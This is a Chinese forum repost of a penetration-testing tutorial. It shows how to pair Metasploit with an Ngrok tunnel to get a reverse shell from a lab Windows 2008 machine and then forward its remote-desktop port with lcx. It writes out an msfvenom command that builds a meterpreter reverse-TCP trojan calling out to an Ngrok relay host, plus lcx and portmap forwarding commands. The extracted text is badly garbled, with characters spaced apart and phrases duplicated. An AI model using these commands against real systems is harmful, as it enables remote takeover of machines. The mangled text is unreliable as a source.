搜索

[15326] 2020-05-03_Metaspolit下配合Ngrok同时实现内网反弹+转发

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2020-05-03_Metaspolit下配合Ngrok同时实现内网反弹+转发 M e t a s p o l i t 下 配 合 N g r o k 同 时 实 现 内 网 反 弹 + 转 发 w a o w a o   F r e e B u f   2 0 2 0 - 0 5 - 0 3 相 信 大 家 在 渗 透 测 试 时 如 果 遇 到 内 网 相 信 大 家 在 渗 透 测 试 时 如 果 遇 到 内 网 I P 瞬 间 心 情 就 不 好 了 ， 因 为 自 己 是 内 网 ， 目 标 也 是 内 网 ， 怎 么 勾 搭 上 ？ 而 且 像 我 这 等 穷 人 又 没 瞬 间 心 情 就 不 好 了 ， 因 为 自 己 是 内 网 ， 目 标 也 是 内 网 ， 怎 么 勾 搭 上 ？ 而 且 像 我 这 等 穷 人 又 没 钱 买 死 贵 死 贵 的 钱 买 死 贵 死 贵 的 v p s 搭 建 云 搭 建 云 K a l i ， 怎 么 办 ？ 这 时 候 就 要 借 助 内 网 穿 透 工 具 了 ， 网 上 很 多 工 具 都 能 实 现 ， 这 里 推 荐 ， 怎 么 办 ？ 这 时 候 就 要 借 助 内 网 穿 透 工 具 了 ， 网 上 很 多 工 具 都 能 实 现 ， 这 里 推 荐 N g r o k 。 但 是 我 既 想 。 但 是 我 既 想 通 过 通 过 N g r o k 在 在 m e t a s p o l i t 下 反 弹 下 反 弹 s h e l l ， 同 时 又 想 把 对 方 的 ， 同 时 又 想 把 对 方 的 3 3 8 9 端 口 转 发 到 本 地 ， 在 端 口 转 发 到 本 地 ， 在 m e t e r p e r t e r 下 鱼 和 熊 掌 我 都 要 ！ 下 鱼 和 熊 掌 我 都 要 ！ K a l i 地 址 ： 1 9 2 . 1 6 8 . 6 1 . 1 3 0 （ 攻 击 机 地 址 ） 靶 机 w i n 2 0 0 8 :   1 9 2 . 1 6 8 . 6 1 . 1 3 4 （ 模 拟 外 网 私 人 地 址 ） 中 间 跳 板 n g r o k   ： v i p g z 4 . i d c f e n g y e . c o m 工 具 ： l c x   w i n d o w s 版 与 l i n u x 版 一 、 反 弹 一 、 反 弹 s h e l l 到 本 地 到 本 地 1 . 首 先 注 册 个 n g r o k 并 配 置 好 需 要 转 接 的 端 口 ： 8 8 4 8 （ 这 里 就 不 在 赘 述 如 何 配 置 了 ， 网 上 教 程 很 多 。 ） 2 . 在 k a l i 下 构 造 生 成 反 弹 木 马 ： L h o s t ： 为 N g r o k 服 务 地 址 L p o r t ： 为 N g r o k 分 配 的 隧 道 端 口 3 . 在 K a l i 中 运 行 N g r o k 的 客 户 端 ： 4 . K a l i 攻 击 机 配 置 监 听 ： 此 处 的 l h o s t 与 l p o r t 与 N g r o k 中 的 配 置 相 同 ， 并 开 始 监 听 。 5 . 将 生 成 的 木 马 放 到 靶 机 运 行 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = v i p g z 4 . i d c f e n g y e . c o m   L P O R T = 1 0 0 4 0   - f   e x e   - a   x 8 6   - - p l a t f o r m   w i n   - o   g o n g 3 2 . e x e . / s u n n y   c l i e n t i d   N g r o k 的 I D 号
成 功 得 到 通 过 中 转 反 弹 过 来 的 s h e l l 。 P S ： 接 下 就 要 将 对 方 的 端 口 转 发 到 我 们 本 地 了 ， 以 3 3 8 9 端 口 远 程 桌 面 为 例 。 由 于 是 通 过 N g r o k 中 转 反 弹 到 的 s h e l l ， 所 以 p o r t f w d 命 令 不 能 将 远 程 桌 面 直 接 在 m e t a s p o l i t 框 架 中 实 现 ， 这 里 借 助 l c x 继 续 进 行 反 弹 。 二 、 转 发 二 、 转 发 3 3 8 9 端 口 到 本 地 端 口 到 本 地 1 ． 在 K a l i 中 执 行 l c x 监 听 和 转 发 命 令 ： P 1 为 本 地 监 听 的 端 口 （ 与 n g r o k 转 发 的 端 口 一 致 ） P 2 为 本 地 转 发 的 端 口 （ 随 便 命 名 ， 但 不 能 是 已 被 占 用 的 端 口 ） 2 . 到 靶 机 中 执 行 l c x 端 口 转 发 ， 通 过 m e t e r p e r t e r 进 入 s h e l l 执 行 命 令 ： s l a v e 后 跟 N g r o k 服 务 器 地 址 与 隧 道 端 口 + 本 地 需 要 转 发 的 端 口 看 到 n g r o k 客 户 端 多 出 回 弹 的 消 息 . / p o r t m a p   - m   2   - p 1   8 8 4 8   - p 2   3 3 8 9 1 l c x   - s l a v e   v i p g z 4 . i d c f e n g y e . c o m   1 0 0 4 0   1 2 7 . 0 . 0 . 1   3 3 8 9
3 . 开 始 在 K a l i 中 连 接 远 程 桌 面 连 接 ： r d e s k t o p   1 2 7 . 0 . 0 . 1 : 3 3 8 9 1
至 此 我 们 已 经 成 功 连 接 上 了 3 3 8 9 远 程 桌 面 。 由 于 全 程 都 在 一 台 本 地 k a l i 环 境 中 操 作 ， 且 只 用 了 一 条 N g r o k 隧 道 大 大 减 少 了 成 本 。 * 本 文 作 者 ： 本 文 作 者 ： w a o w a o ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理